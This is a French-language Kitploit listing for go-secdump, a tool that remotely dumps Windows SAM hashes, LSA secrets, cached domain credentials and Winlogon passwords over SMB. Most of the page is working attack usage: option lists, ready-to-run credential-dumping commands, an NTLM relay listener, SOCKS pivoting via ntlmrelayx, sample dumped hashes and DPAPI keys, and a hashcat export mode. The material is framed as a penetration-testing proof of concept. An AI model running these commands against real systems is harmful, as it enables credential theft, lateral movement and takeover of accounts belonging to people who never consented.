Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
go-secdump — Outil pour extraire à distance les secrets du registre Windows | Kitploit
Outils/GitHubGitHub/jfjallid/go-secdump
Cassage de Mots de PasseOutils de Chiffrement/DéchiffrementMouvement LatéralPost-ExploitationTests d'IntrusionAuthentificationRed Teaming
GitHubjfjallid/go-secdump

go-secdump

Outil pour extraire à distance les secrets du registre Windows

Voir le dépôt
53460il y a 1 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

go-secdump

Description

Le paquet go-secdump est un outil conçu pour extraire à distance les hachages de la ruche SAM ainsi que les secrets LSA et les hachages en cache de la ruche SECURITY, sans agent distant et sans toucher au disque.

L'outil est basé sur la bibliothèque go-smb et l'utilise pour communiquer avec le Registre Windows à distance afin de récupérer les clés de registre directement depuis la mémoire.

Il a été développé comme une expérience d'apprentissage et comme une preuve de concept qu'il devrait être possible de récupérer à distance les hachages NT de la ruche SAM, les secrets LSA ainsi que les identifiants mis en cache du domaine sans avoir à enregistrer d'abord les ruches de registre sur le disque pour les analyser localement.

Le principal problème à surmonter était que les ruches SAM et SECURITY ne sont lisibles que par NT AUTHORITY\SYSTEM. Cependant, j'ai remarqué que les administrateurs du groupe local disposaient de la permission WriteDACL sur les ruches de registre et pouvaient donc être utilisés pour accorder temporairement un accès en lecture à eux-mêmes afin de récupérer les secrets, puis restaurer les permissions d'origine.

Cependant, une meilleure approche a été découverte (février 2025) par Julien Egloff chez Synacktiv. La requête BaseRegOpenKey utilisée pour ouvrir des handles sur les clés de registre dispose d'une option pour affirmer le privilège SeBackupPrivilege, ce qui nous permet d'ouvrir les clés de registre sans modifier d'abord les DACL. L'outil a été mis à jour pour privilégier cette nouvelle approche et ne modifier les DACL que si demandé explicitement.

Crédits

Une grande partie du code de ce projet est inspirée/reprise du secdump d'Impacket, mais convertie pour accéder au Registre Windows à distance et pour n'accéder qu'aux clés de registre nécessaires.

Voici quelques autres sources utiles pour comprendre la structure du registre et les méthodes de chiffrement :

https://www.passcape.com/index.php?section=docsys&cmd=details&id=23

http://www.beginningtoseethelight.org/ntsecurity/index.htm

https://social.technet.microsoft.com/Forums/en-US/6e3c4486-f3a1-4d4e-9f5c-bdacdb245cfd/how-are-ntlm-hashes-stored-under-the-v-key-in-the-sam?forum=win10itprogeneral

L'idée d'utiliser SeBackupPrivilege provient de Synacktiv : https://www.synacktiv.com/publications/lsa-secrets-revisiting-secretsdump

Utilisation

root@kitploit:~
Usage: ./go-secdump [options]

options:
      --host <target>        Hostname ou adresse IP du serveur distant. Doit être un hostname lors de l'utilisation de Kerberos
  -P, --port <port>          Port SMB (par défaut 445)
  -d, --domain <domain>      Nom de domaine à utiliser pour la connexion
  -u, --user <username>      Nom d'utilisateur
  -p, --pass <pass>          Mot de passe
  -n, --no-pass              Désactiver la demande de mot de passe et n'envoyer aucune information d'identification
      --hash <NT Hash>       Hachage NT encodé en hexadécimal pour le mot de passe de l'utilisateur
      --local                S'authentifier en tant qu'utilisateur local au lieu d'un utilisateur de domaine
  -k, --kerberos             Utiliser l'authentification Kerberos. (KRB5CCNAME sera vérifié sur Linux)
      --dc-ip <ip>           Spécifier éventuellement l'IP du KDC lors de l'utilisation de l'authentification Kerberos
      --target-ip <ip>       Spécifier éventuellement l'IP de la cible lors de l'utilisation de l'authentification Kerberos
      --aes-key <hex>        Utiliser une clé AES128/256 encodée en hexadécimal pour l'authentification Kerberos
      --keytab-file <file>   S'authentifier en utilisant les clés d'un fichier keytab (implique -k). L'utilisateur et le
                             domaine sont pris de la première entrée du keytab si non spécifiés
      --dns-host <ip[:port]> Remplacer le résolveur DNS par défaut du système
      --dns-tcp              Forcer les requêtes DNS sur TCP. Vrai par défaut lors de l'utilisation de --socks-host
      --dump                 Sauvegarde les ruches SAM et SECURITY sur le disque et
                             les transfère vers la machine locale.
      --sam                  Extraire explicitement les secrets de la ruche SAM. Seules les autres cibles explicites sont incluses.
      --lsa                  Extraire explicitement les secrets LSA. Seules les autres cibles explicites sont incluses.
      --dcc2                 Extraire explicitement les caches DCC2. Seules les autres cibles explicites sont incluses.
      --misc                 Extraire explicitement les secrets de registre divers tels que le
                             DefaultPassword de Winlogon. Seules les autres cibles explicites sont incluses.
      --modify-dacl          Modifier les DACL des clés de registre avant l'extraction.
                             Uniquement nécessaire si les clés ne peuvent pas être ouvertes via SeBackupPrivilege. (par défaut false)
      --backup-dacl          Sauvegarder les DACL originales sur le disque avant modification
      --restore-dacl         Restaurer les DACL à partir de la sauvegarde sur disque. Peut être utile si la restauration automatique échoue.
      --backup-file <file>   Nom du fichier pour la sauvegarde DACL (par défaut dacl.backup)
      --relay                Démarrer un écouteur SMB qui relaiera les
                             authentifications NTLM entrantes vers le serveur distant et
                             utilisera cette connexion. NOTEZ que cela force SMB 2.1
                             sans chiffrement.
      --relay-port <port>    Port d'écoute pour le relais (par défaut 445)
      --socks-host <target>  Établir la connexion via un serveur proxy SOCKS5
      --socks-port <port>    Port du proxy SOCKS5 (par défaut 1080)
  -t, --timeout <duration>   Délai d'attente de connexion au format 5s ou 2m (par défaut 5s)
      --noenc                Désactiver le chiffrement SMB
      --smb2                 Forcer SMB 2.1
      --debug                Activer la journalisation de débogage. --debug seul active tous les
                             paquets enregistrés ; --debug=msrrp,smb active uniquement les
                             suffixes de noms de paquets listés (la forme '=' est requise
                             pour le filtre).
      --verbose              Activer la journalisation verbeuse. Même syntaxe de filtre que --debug.
                             --debug et --verbose peuvent être combinés avec des filtres
                             différents ; un paquet ciblé par les deux reçoit le niveau le plus élevé.
      --list-log-packages    Lister les noms des paquets de journalisation enregistrés qui peuvent être
                             ciblés avec --debug=<suffix> ou --verbose=<suffix>,
                             puis quitter
  -o, --output <file>        Nom du fichier pour écrire les résultats (stdout par défaut). Ajoute au fichier s'il existe.
      --output-format <fmt>  Format de sortie : text (par défaut), json ou hashcat
      --history              Inclure les secrets LSA historiques (OldVal) en plus des valeurs actuelles
  -q, --quiet                Supprimer les en-têtes informatifs ; imprimer uniquement les secrets
  -v, --version              Afficher la version

Modification des DACL

Maintenant uniquement en tant que fonctionnalité optionnelle activée avec --modify-dacl, go-secdump tentera automatiquement de modifier puis de restaurer les DACL des clés de registre requises. Cependant, si un problème survient lors de la restauration, comme une déconnexion réseau ou une autre interruption, le registre distant restera avec les DACL modifiées.

En utilisant l'argument --backup-dacl, il est possible de stocker une copie sérialisée des DACL originales avant modification. En cas de problème de connectivité, les DACL peuvent être restaurées ultérieurement à partir du fichier en utilisant l'argument --restore-dacl.

Exemples

Extraire tous les secrets du registre en utilisant l'astuce SeBackupPrivilege

root@kitploit:~
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local
ou
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam --lsa --dcc2

Extraire uniquement les secrets SAM, LSA, cache DCC2 ou secrets divers du registre

root@kitploit:~
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --lsa
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --dcc2
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --misc

La cible --misc extrait les secrets de registre divers qui n'appartiennent pas aux ruches SAM/LSA/DCC2, actuellement le DefaultPassword (et le DefaultUserName associé) de l'auto-connexion Winlogon, lorsque présent.

Secrets LSA historiques, formats de sortie et mode silencieux

Inclure les secrets LSA historiques (OldVal) en plus des valeurs actuelles avec --history. Écrire les résultats dans un fichier avec -o/--output (ajouté s'il existe) et choisir le format des secrets avec --output-format :

  • text (par défaut) — lisible par l'humain
  • json — un tableau JSON d'enregistrements typés, utile pour un traitement ultérieur
  • hashcat — hachages NT bruts (mode 1000) et lignes $DCC2$ (mode 2100) prêts à être fournis à hashcat

Utiliser -q/--quiet pour supprimer les en-têtes informatifs et le résumé, afin que seuls les secrets eux-mêmes soient imprimés.

root@kitploit:~
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --history --output-format json -o secrets.json
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --output-format hashcat --quiet

Journalisation par paquet

Lister les noms des paquets de journalisation qui peuvent être ciblés, puis activer la journalisation de débogage ou verbeuse pour des paquets spécifiques (correspondant au suffixe du nom) au lieu de tous :

root@kitploit:~
./go-secdump --list-log-packages
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --debug=msrrp,smb

Relais NTLM

Extraire les secrets du registre via un relais NTLM

Démarrer l'écouteur

root@kitploit:~
./go-secdump --host 192.168.0.100 -n --relay

Déclencher une authentification vers votre machine depuis un client ayant un accès administratif à 192.168.0.100 d'une manière ou d'une autre, puis attendre les secrets extraits.

root@kitploit:~
YYYY/MM/DD HH:MM:SS smb [Notice] Client connected from 192.168.0.30:49805
YYYY/MM/DD HH:MM:SS smb [Notice] Client (192.168.0.30:49805) successfully authenticated as (domain.local\Administrator) against (192.168.0.100:445)!
Net-NTLMv2 Hash: Administrator::domain.local:34f4533b697afc39:b4dcafebabedd12deadbeeffef1cea36:010100000deadbeef59d13adc22dda0
2023/12/13 14:47:28 [Notice] [+] Signing is NOT required
2023/12/13 14:47:28 [Notice] [+] Login successful as domain.local\Administrator
[*] Dumping local SAM hashes
Name: Administrator
RID: 500
NT: 2727D7906A776A77B34D0430EAACD2C5

Name: Guest
RID: 501
NT: <empty>

Name: DefaultAccount
RID: 503
NT: <empty>

Name: WDAGUtilityAccount
RID: 504
NT: <empty>

[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC: 0x15deadbeef645e75b38a50a52bdb67b4
$MACHINE.ACC:plain_password_hex:47331e26f48208a7807cafeababe267261f79fdc38c740b3bdeadbeef7277d696bcafebabea62bb5247ac63be764401adeadbeef4563cafebabe43692deadbeef03f...
[*] DPAPI_SYSTEM
dpapi_machinekey: 0x8afa12897d53deadbeefbd82593f6df04de9c100
dpapi_userkey: 0x706e1cdea9a8a58cafebabe4a34e23bc5efa8939
[*] NL$KM
NL$KM: 0x53aa4b3d0deadbeef42f01ef138c6a74
[*] Dumping cached domain credentials (domain/username:hash)
DOMAIN.LOCAL/Administrator:$DCC2$10240#Administrator#97070d085deadbeef22cafebabedd1ab
...

Proxy SOCKS

Extraire les secrets en utilisant un proxy SOCKS5 en amont pour le pivotement ou pour profiter de la fonctionnalité de serveur SOCKS de ntlmrelayx.py d'Impacket.

Lors de l'utilisation de ntlmrelayx.py comme proxy en amont, le nom d'utilisateur fourni doit correspondre à celui du client authentifié, mais le mot de passe peut être vide.

root@kitploit:~
./ntlmrelayx.py -socks -t 192.168.0.100 -smb2support --no-http-server --no-wcf-server --no-raw-server
...

./go-secdump --host 192.168.0.100 --user Administrator -n --socks-host 127.0.0.1 --socks-port 1080
Télécharger l’outil